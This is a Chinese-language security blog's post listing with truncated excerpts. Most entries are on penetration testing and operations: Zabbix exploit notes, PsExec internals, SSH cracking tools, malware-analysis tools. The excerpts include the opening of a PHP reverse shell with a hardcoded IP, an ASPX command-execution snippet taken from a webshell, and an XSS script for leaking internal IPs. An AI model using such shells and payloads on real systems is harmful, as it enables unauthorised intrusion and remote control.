Sanr-51CTO博客

原创 220
翻译 0
转载 34

分享：

全部

serverxx0 发布于：2015-12-16
0

原创内容doc文档备份到github 置顶 https://github.com/sssssanr/sanr-paper

原创

阅读 838

评论 0

收藏 0
serverxx0 发布于：2015-09-06
0

漏洞演练平台置顶 http://www.mmeit.be/bWAPP/https://github.com/710leo/ZVulDrillhttp://www.dvwa.co.uk/http://sourceforge.net/projects/dvwa-wooyun/https://github.com/Audi-1/sqli-labs

原创

阅读 1073

评论 0

收藏 0
serverxx0 发布于：2015-07-22
0

Web漏洞检测及修复方案置顶 1. 注入漏洞1.1 SQL注入漏洞1.2 XSS漏洞1.3 命令注入漏洞1.4 HTTP响应头注入漏洞1.5 跳转漏洞1.6 XML注入漏洞2. 信息泄漏漏洞2.1 PHPInfo()信息泄漏漏洞2.2 测试页面泄漏在外网漏洞2.3 备份文件泄漏在外网漏洞2.4 版本管理工具文件信息泄漏漏洞2.5 HTTP认证泄漏漏洞2.6 管理后台泄漏漏洞2.7 泄漏员工电子邮箱漏洞以及分机号码2.8 错误详

原创

阅读 2595

评论 0

收藏 2
serverxx0 发布于：2015-03-04
0

国内网站监控分析网站置顶 360网站服务监控http://jk.cloud.360.cn/阿里云监控http://www.aliyun.com/product/jiankong/DNSPod监控https://www.dnspod.cn/百度云观测http://ce.baidu.com/监控宝http://www.jiankongbao.com/小蜜蜂网站检测http://www.webxmf.com/我的E站http:/

原创

阅读 1177

评论 0

收藏 0
serverxx0 发布于：2015-07-21
0

dns数据置顶 https://scans.io/study/sonar.fdns

原创

阅读 761

评论 0

收藏 0
serverxx0 发布于：2017-11-22
0

我的友情链接 jzking121' blog老徐的私房菜老徐的私房菜老徐的私房菜老徐的私房菜王伟游造技术博客吟—技术交流Free Linux, Share Linux

原创

阅读 791

评论 0

收藏 0
serverxx0 发布于：2016-11-15
0

PSEXEC执行命令原理分析 ipc$连接释放Psexesvc.exeOpenSCManager打开受害者机器上服务控制管理器的句柄CreateService创建服务获取服务句柄OpenService使用StartService启动服务

原创

阅读 3097

评论 0

收藏 0
serverxx0 发布于：2016-08-18
0

Zabbix 2.2 < 3.0.3 - RCE with API JSON-RPC 漏洞来源: https://www.exploit-db.com/exploits/39937/***成本：高危害程度：低(此洞需要密码)利用条件: 需要高权限用户登录影响范围：2.2 < 3.0.3tips: 此洞需要你拿到高权限的账户密码,当你拿到账户密码之后,进入后台也可以执行命令,利用API JSON-RPC为第二种方案。此exp并不是很完美,因为不

原创

阅读 1683

评论 0

收藏 1
serverxx0 发布于：2016-08-18
0

Zabbix 2.2.x / 2.4.x/ 3.0.0-3.0.3 - SQL Injection 漏洞来源: http://seclists.org/fulldisclosure/2016/Aug/60***成本：低危害程度：高利用条件: 需要guest用户权限(未登录用户都被设定为guest用户的访问权限)影响范围：2.2.x / 2.4.x/ 3.0.0-3.0.3修复建议: 禁用guest用户或者升级到3.0.4漏洞利用: 爆密码 &

原创

阅读 1232

评论 0

收藏 1
serverxx0 发布于：2016-04-20
0

js获取浏览器类型 <script type="text/javascript"> function getBrowserInfo(){ var OsObject=navigator.userAgent; // 包含「Opera」文字列 if(OsObject.indexOf("Opera")&nbs

原创

阅读 611

评论 0

收藏 0
serverxx0 发布于：2016-04-14
0

利用微信企业号进行告警 # -*- coding: UTF-8 -*- # __author__ = sanr # __email__ = 5754190@qq.cn' # __version__ = 0.1 import requests imp

原创

阅读 694

评论 0

收藏 1
serverxx0 发布于：2016-03-14
0

pip自动生成requirements.txt依赖关系清单 pip freeze > requirements.txt

原创

阅读 3781

评论 0

收藏 0
serverxx0 发布于：2016-03-07
0

内网主机存活扫描[Android] NetXFing – Network Tools功能:显示每个设备的 IP 地址、Mac 地址、制造商、Bonjour 名等等，支持网络唤醒、关机等操作区别:两者无太大区别,非要说区别NetX的颜值高点。

转载

阅读 835

评论 0

收藏 1
serverxx0 发布于：2016-02-26
0

轻量级 Linux下ssh破解工具 relaxscanscanSSH

原创

阅读 1464

评论 1

收藏 1
serverxx0 发布于：2016-02-26
0

pip被墙，修改国内源方法找到C:\Users\Administrator新建pip文件夹，新建pip.ini文件填写以下内容[global]index-url = http://pypi.douban.com/simple[install]trusted-host = pypi.douban.com

原创

阅读 2404

评论 1

收藏 0
serverxx0 发布于：2016-01-13
0

xss-利用webrtc获取内网IP xss.js function getIPs(callback){ var ip_dups = {}; &

原创

阅读 5279

评论 0

收藏 0
serverxx0 发布于：2016-01-12
0

恶意软件流量检测系统 maltrail是一个通过流量监测出恶意软件的程序，通过公开的含有恶意软件的黑名单，通过对用户的网络访问请求进行分析，判断其使用访问了恶意软件的服务器地址，下载链接，可疑域名，可疑文件名来判断是否遭受了恶意软件的感染。https://github.com/stamparm/maltrail

转载

阅读 1430

评论 0

收藏 0
serverxx0 发布于：2016-01-12
0

Cuckoo恶意软件自动化分析系统 Cuckoo是一款开源的自动化恶意软件分析系统，目前主要用于分析windows平台下的恶意软件，但其框架同时支持Linux和Mac OS。cuckoo能够自动化获取如下信息：1.能够跟踪恶意软件进程及其产生的所有进程的win32 API调用记录；2.能够检测恶意软件的文件创建、删除和下载；3.能够获取恶意软件进程的内存镜像；4.能够获取系统全部内存镜像，方便其他工具进行进一步分析；5.能够以pac

转载

阅读 971

评论 0

收藏 0
serverxx0 发布于：2016-01-10
1

php-reverse-shell window、linux通用 <?php error_reporting (E_ERROR); ignore_user_abort(true); ini_set('max_execution_time',0); $os = substr(PHP_OS,0,3); $ipaddr = '192.168.182.128';

转载

阅读 1146

评论 1

收藏 0
serverxx0 发布于：2016-01-06
0

Aspxspy中提取执行cmd命令的代码 <%@ Page Language="C#" Debug="true" Trace="false" %> <%@ Import Namespace="System.Diagnostics" %> <script Language="c#" runat="server"&

原创

阅读 10000+

评论 0

收藏 0

首页
上一页
1
2
3
4
5
6
7
8
下一页
末页
共254条记录

serverxx0

分享到朋友圈

这个家伙比较懒，还没有个人介绍

关注技术：****** 病毒*** 网络监控
入住博客：2012-12-24 7.9年

七日热门

最近来访

写文章